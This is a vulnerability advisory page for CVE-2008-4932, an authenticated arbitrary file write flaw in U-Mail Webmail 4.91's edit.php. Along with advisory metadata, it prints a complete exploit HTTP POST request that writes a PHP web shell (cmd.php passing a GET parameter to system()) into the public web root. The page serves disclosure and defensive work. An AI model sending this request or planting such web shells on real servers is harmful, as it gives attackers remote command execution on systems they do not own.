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Home arrow SecurityAlert Database

Arrow  Topic :

U-Mail Webmail edit.php Arbitrary File Write Vulnerability


Arrow  SecurityAlert : 4565
Arrow  CVE : CVE-2008-4932
Arrow  CWE : CWE-20
Arrow  SecurityRisk : High  Security Risk High  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : No
Arrow  Victim interaction required : No
Arrow  Exploit Available : No
Arrow  Credit : WSN1983
Arrow  Published : 07.11.2008

Arrow  Affected Software : comingchina:u-mail_webmail_server:4.91



Arrow  Advisory Content :  

U-Mail Webmail Arbitrary File Write Vulnerability

==================================================

Vulnerable: U-Mail 4.91
Vendors: www.comingchina.com
Category: Input Validation Error
Impact: An attacker can write arbitrary data to new files.
Author: Shennan Wang
Date: 2008-10-30
Web: http://hi.baidu.com/nansec

Details:
=========
This vulnerability allows remote attackers to write arbitrary file on
vulnerable installations of U-Mail Webmail Server. Authentication is
required to exploit this vulnerability.The specific flaw exists in the
'edit.php' file running on the U-Mail Webmail Server. A malicious HTTP POST
request can write arbitrary file to the publicly accessible web
directories.

Exploit:
=========
POST /webmail/modules/filesystem/edit.php HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/x-shockwave-flash, application/vnd.ms-excel,
application/vnd.ms-powerpoint, application/msword,
application/x-silverlight, application/xaml+xml,
application/vnd.ms-xpsdocument, application/x-ms-xbap,
application/x-ms-application, */*
Referer: http://mail.d4rkn3t.cn/webmail/modules/filesystem/edit.php
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET
CLR 2.0.50727; .NET CLR 3.0.04506.30)
Host: mail.d4rkn3t.cn
Content-Length: 120
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: GO_AUTH_SOURCE_KEY=0; LANGUAGE_CK=zh_CN; SCREEN_CK=Default+Style;
PHPSESSID=0fa330ffdfd62d9e1bd8bd3942974a18

path=/var/www/htdocs/webmail/cmd.php&task=save&name=cmd.php&content=<?sy
stem($_GET[cmd]);?>



Arrow  References :

http://xforce.iss.net/xforce/xfdb/46300
http://www.securityfocus.com/bid/32013
http://www.securityfocus.com/archive/1/archive/1/497961/100/0/threaded




Arrow  Feedback :

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